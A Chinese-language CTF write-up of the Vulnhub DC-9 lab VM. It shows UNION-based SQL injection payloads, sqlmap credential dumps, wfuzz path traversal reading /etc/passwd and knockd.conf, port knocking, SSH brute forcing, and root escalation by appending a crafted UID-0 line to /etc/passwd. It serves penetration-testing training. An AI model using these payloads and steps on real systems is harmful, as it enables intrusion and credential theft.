IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Vulnhub DC-9 -> 正文阅读

[PHP知识库]Vulnhub DC-9

明确:《中华人民共和国网络安全法?》?

?

Description

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

Technical Information

DC-9 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.

All challenges are tested with VirtualBox and VMware.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.

Important

While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.

Credits

A big thanks goes out to the members of @m0tl3ycr3w.

Download

Download DC-9?here.

Sha1 Signature - b9a3018997c4c01ffe0994ad019e0c37ff019001

Walkthrough

DC-9 Walkthrough by MZFR

依旧是扎根,唯一 flag,先扫网段?

扫到的是 192.168.37.132,扫开启的服务,80 和 22,但是 22 端口这次扫出来的状态跟以往的状态不同(以往的界面如下图)

相比较,这次的 22 端口后是 filtered (被过滤)

Nmap 下共有六种端口状态:

Open

Closed

Filtered

Unfiltered

Open|filtered

Closed|filtered

http://119.23.104.100/%E5%B7%A5%E5%85%B7/412.html

先往后走

先进网页,可以看到是一个员工详情页,好像是 drupal 但是并没有看到 Wappalyzer 显示 cms,所以这个应该是个 php 页面而已,所以首先不考虑漏洞利用破这个网页,四个菜单两个菜单有框,manage 登录框可以爆破,但是一般不能爆出,由于也并不是 cms 页面,droopescan 也用不了扫用户名

已知的东西有点少,先用 dirsearch 扫页面,可以看到有 include 和 config,有可能存在文件包含漏洞

config 页面空白,也许就是空,是个误导页面,或者是无法看到

nikto 扫也并没有看到有更多的信息

回到页面中寻找更多的信息

经过简单测试可以看到,search 页面搜索后,回显页面是 results,manage 页面输入信息后,回显的信息仍然在 manage 页面,所以有可能两个菜单的框都存在注入

先看看 search 页面,搜索页面所说的是查询姓或名,先抓包看看

可以看到搜索是使用 POST 请求且用?search=xxxx 语句查询,回到页面测试 SQL 语句能否被利用

1?????????????????????????? ? ? ? 0 results

2? ? ? ? ? ? ? ? ? ? ? ? ? ? ?????0 results

a??????????????????????????? ? ? ?0 results

1'? ? ? ????????????????????? ? ? 0 results

1'#??????????????????????????????0 results

1' and 1=1#????????????????0 results

1' or 1=1#? ? ? ? ? ? ? ? ? ?回显出 /display.php 中全部职员信息

所以在 search 页面存在 SQL 注入漏洞,字符型

使用 order by 没有正确回显,可能被过滤,查找其中两个用户 Mary 和?Julie

对比可以看到,字段可能有六个,这里姓名分别各为一个字段,在后面查询时漏掉查询有误才发现

select 可以使用,select 查看六个字段,可以看到是六个,但最后一个数如果是 6 回显是 result 0

1' union select 1, 2, 3, 4, 5, 1 #? ? ? ? ? ? ? ? 6 可能被过滤,误导判断

?

1' union select 1, 2, 3, 4, 5, database() #

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email: Staff

1' union select 1, 2, 3, 4, 5, version() #

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email: 10.3.17-MariaDB-0+deb10u1

1' union select 1, 2, 3, 4, concat(table_name), 5 from information_schema.tables where table_schema = database() #

Search results

ID: 1
Name: 2 3
Position: 4
Phone No: StaffDetails
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: Users
Email: 5

1' union select 1, 2, 3, 4, concat(column_name), 5 from information_schema.columns where table_schema = database() #

Search results

ID: 1
Name: 2 3
Position: 4
Phone No: id
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: firstname
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: lastname
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: position
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: phone
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: email
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: reg_date
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: UserID
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: Username
Email: 5

ID: 1
Name: 2 3
Position: 4
Phone No: Password
Email: 5

??

1' union select 1, 2, Username, Password, 1, 5 from Users #

Search results

ID: 1
Name: 2 admin
Position: 856f5de590ef37314e7c3bdf6f8a66dc
Phone No: 1
Email: 5?

最后得到 admin 用户和密码,密码可以看到可能是哈希加密

john 没有碰撞出,使用?MD5 网站碰撞?MD5免费在线解密破解_MD5在线加密-SOMD5

transorbital1

在 manage 页面登录

登录后可以看到多出来的两个菜单,但左下角同时出现一行?File does not exist,同样新菜单 addrecord 页面左下角也有?File does not exist

查看网络监视器看看有没有特殊的信息,可以看到在没有登录时可以看到 manage 页面是 200

但是在登录后,manage 页面变成了 302 重定向,定向到 welcome 页面,两个页面也都有?File does not exist 的字样显示

所以我们继续往下走,根据三个页面的 File does not exist,所以有可能在登录的时候系统访问了某个文件,猜测可能存在文件包含漏洞,找系统所访问的文件是什么

如果有文件包含漏洞就得有个参数,所以先测试参数,因为这个网站的操作系统是 Debian,所以必含有 passwd 文件,我们使用 wfuzz 爆破参数

由于是登录后才有的?File does not exist,所以需要最新登录的?cookie 值来维持登录,登出会失效

wfuzz -b "PHPSESSID=4jbkh83u8gdeaqrg0rng8hh6ru" -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.37.132/manage.php?FUZZ=../../../../../../../../../etc/passwd

这里使用多个 ../ 是回到根目录

爆出九百多个,-hl?筛选出响应的?

响应 ?响应行xL ?响应单词数xW ?响应字符xCh

加入 --hl (隐藏具有相同的 50 行数的响应)

同样有?--hc/hw

wfuzz --hl 50 -b "PHPSESSID=4jbkh83u8gdeaqrg0rng8hh6ru" -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.37.132/manage.php?FUZZ=../../../../../../../../../etc/passwd

最后只剩下一个特殊的参数 file,常用的文件包含参数

这里注意同样也可以在 welcome 或 addrecord 页面进行参数爆破,结果都是一样的

访问?passwd 看看,我们可以看到 Debian 的用户一些细节

File does not exist
root:x:0:0:root:/root:/bin/bash?
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin?
bin:x:2:2:bin:/bin:/usr/sbin/nologin?
sys:x:3:3:sys:/dev:/usr/sbin/nologin?
sync:x:4:65534:sync:/bin:/bin/sync?
games:x:5:60:games:/usr/games:/usr/sbin/nologin?
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin?
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin?
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin?
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin?
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin?
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin?
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin?
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin?
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin?
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin?
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin?
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin?
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin?
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin?
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin?
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin?
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin?
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin?


mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false?
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash?
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash?
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash?
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash?
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash?
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash?
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash?
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash?
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash?
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash?
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash?
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash?
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash?
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash?
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash?
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash?
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash?

在里面我们可以看到在第五个域(用户描述)中是之前我们在网页中看到的职员信息,从 mysql 用户名往下一共 17 个,分别对应 17 个职员

所以有可能数据库存的密码也能够分别登录他们的 Debian

为了简单方便,这里直接使用 sqlmap 进行爆,可以看到爆出了另外的一个数据库,前面我们查看的数据库是 Staff,现在我们查看 users

sqlmap -u "http://192.168.37.132/results.php" --data "search=1" --dbs?

available databases [3]:
[*] information_schema
[*] Staff
[*] users

sqlmap -u "http://192.168.37.132/results.php" --data "search=1" -D users --tables

Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+

sqlmap -u "http://192.168.37.132/results.php" --data "search=1" -D users -T UserDetails --dump

Database: users
Table: UserDetails
[17 entries]
+----+-----------+------------+---------------------+---------------+-----------+
| id | username  | lastname   | reg_date            | password      | firstname |
+----+-----------+------------+---------------------+---------------+-----------+
| 1  | marym     | Moe        | 2019-12-29 16:58:26 | 3kfs86sfd     | Mary      |
| 2  | julied    | Dooley     | 2019-12-29 16:58:26 | 468sfdfsd2    | Julie     |
| 3  | fredf     | Flintstone | 2019-12-29 16:58:26 | 4sfd87sfd1    | Fred      |
| 4  | barneyr   | Rubble     | 2019-12-29 16:58:26 | RocksOff      | Barney    |
| 5  | tomc      | Cat        | 2019-12-29 16:58:26 | TC&TheBoyz    | Tom       |
| 6  | jerrym    | Mouse      | 2019-12-29 16:58:26 | B8m#48sd      | Jerry     |
| 7  | wilmaf    | Flintstone | 2019-12-29 16:58:26 | Pebbles       | Wilma     |
| 8  | bettyr    | Rubble     | 2019-12-29 16:58:26 | BamBam01      | Betty     |
| 9  | chandlerb | Bing       | 2019-12-29 16:58:26 | UrAG0D!       | Chandler  |
| 10 | joeyt     | Tribbiani  | 2019-12-29 16:58:26 | Passw0rd      | Joey      |
| 11 | rachelg   | Green      | 2019-12-29 16:58:26 | yN72#dsd      | Rachel    |
| 12 | rossg     | Geller     | 2019-12-29 16:58:26 | ILoveRachel   | Ross      |
| 13 | monicag   | Geller     | 2019-12-29 16:58:26 | 3248dsds7s    | Monica    |
| 14 | phoebeb   | Buffay     | 2019-12-29 16:58:26 | smellycats    | Phoebe    |
| 15 | scoots    | McScoots   | 2019-12-29 16:58:26 | YR3BVxxxw87   | Scooter   |
| 16 | janitor   | Trump      | 2019-12-29 16:58:26 | Ilovepeepee   | Donald    |
| 17 | janitor2  | Morrison   | 2019-12-29 16:58:28 | Hawaii-Five-0 | Scott     |
+----+-----------+------------+---------------------+---------------+-----------+

由于数量有点小多,将 username 和 password 分别作为密码本准备爆破

但是会发现访问拒绝,这是因为 Nmap 受到过滤,我们在前面 Nmap 端口扫描的时候就发现 22 端口的状态是?filtered,对于端口也有可能会被隐藏,proxy 反向代理,修改 API 参数和 knockd 服务,在很多隐藏端口方法中?knockd 服务是相对来说最简单操作的,先确定是否使用了?knockd 服务来隐藏端口。

进行配置 knockd 服务时会配置?/etc/knockd.conf 文件,所以利用之前的文件包含漏洞,我们可以直接访问文件,查看是否存在

结果是我们已经获得了 konckd.conf 文件内容,所以端口是使用了端口敲门服务隐藏的

File does not exist

[options] 
UseSyslog 

[openSSH] 
sequence = 7469,8475,9842     //定义敲门顺序号

seq_timeout = 25              //设置超时时间

command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 

tcpflags = syn 

根据文件整理分析,可以得到敲门的序列端口号,这里我使用?nc?和 for 循环敲门

for x in 7469 8475 9842 22;do nc 192.168.37.132 $x;done

这里还可以使用 nmap 进行敲门?

?

依次敲三个端口后回来扫描,这时候端口已经打开了,nmap 查看端口服务会发现 open

这时候我们再次爆破得到三个可登录的账号密码

[22][ssh] host: 192.168.37.132   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.37.132   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.37.132   login: janitor   password: Ilovepeepee

ssh chandlerb@192.168.37.132
UrAG0D!

ssh joeyt@192.168.37.132
Passw0rd

ssh janitor@192.168.37.132
Ilovepeepee

登上三个用户的操作系统后 ls,发现没有东西,ls -l 也没有东西,文件被隐藏

?

使用 ls -la 显示隐藏文件?

?

可以看到最特殊的是 janitor,有一个 .secrets-for-putin 文件夹

进入文件夹,里面含有一个好像是密码本

新的密码,但是应该用到哪个地方,回头看有两个地方网页或者是操作系统,这里发现的新密码本应该是操作系统用户的,所以有可能是前面 17 个用户中某个用户的密码

?

重新写密码本

再次爆破,结果确实可以爆破出,且有两个用户

[22][ssh] host: 192.168.37.132   login: fredf   password: B4-Tru3-001
[22][ssh] host: 192.168.37.132   login: joeyt   password: Passw0rd

ssh fredf@192.168.37.132
B4-Tru3-001

ssh joeyt@192.168.37.132
Passw0rd

?这次没有特别的文件存在,history 也没有发现历史操作,内核漏洞不容易查,先搁一边,剩下一个查可使用命令,结果如下,joeyt 没有在 dc-9 上使用 sudo 命令的权限,但是 fredf 可以

Matching Defaults entries for fredf on dc-9:
? ? env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
? ? (root) NOPASSWD: /opt/devstuff/dist/test/test

test 文件直接 cat 会发现全是乱码

?执行后可以看到系统显示用法,python 文件 test.py 的阅读和追加,假如有了文件的读取和追加脚本,就可以将新的 root 用户添加,切换,拿下,所以找 test.py 查看其源码

先找 test.py 文件

过滤无法访问的内容后得到两条条路径

/opt/devstuff/test.py

/usr/lib/python3/dist-packages/setuptools/command/test.py??

可以看到第一个路径也是可执行目录的上上个目录中的 test.py 脚本如下

/opt/devstuff/test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
? ? print ("Usage: python test.py read append")
? ? sys.exit (1)

else :
? ? f = open(sys.argv[1], "r")
? ? output = (f.read())

? ? f = open(sys.argv[2], "a")
? ? f.write(output)
? ? f.close()

很显然其中包括了之前 usage 中的 read(r) 和 append(a),先读取第一个文件内容,然后追加到第二个文件内容,由于是文件和文件的内容,我们所想要添加的记录应该存在文件中

先创建用户记录

Pai:$1$Pai$6n2pkS5YohaAnt/IYqTIJ1:0:0::/root:/bin/bash

[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]?

uid 和 gid 都为 0 表示管理员,即 root?

第二个域密码需要加密,这里用 md5 加盐加密

openssl passwd -1 -salt Pai 123456

$1$Pai$6n2pkS5YohaAnt/IYqTIJ1

Pai:$1$Pai$6n2pkS5YohaAnt/IYqTIJ1:0:0::/root:/bin/bash

将我自己定义的记录先传到靶机中,而开始的路径不能进行操作,只有在 tmp 临时目录下能操作

echo 'Pai:$1$Pai$6n2pkS5YohaAnt/IYqTIJ1:0:0::/root:/bin/bash' >> /tmp/Pai

?

?在可以使用 root 权限的目录下运行脚本,运行其中 test 程序,而不是 test.py

?

可以看到我追加的用户记录

?

?切换用户

获取 flag

🧊DC-9 中出现的问题:

在进行 ssh 爆破的时候发现能够直接爆破,重启靶机重新恢复后,不能再次成功直接爆破,我试过每个操作指令都没有发现能顺便破门的指令,目前能怀疑的是在我断网的过程中门不能够维持而消失,以至于之后能够直接爆破。

🧊/dev/null是一个特殊的设备文件,这个文件接收到的任何数据都会被丢弃

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-14 23:30:38  更:2022-04-14 23:30:50 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 19:53:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码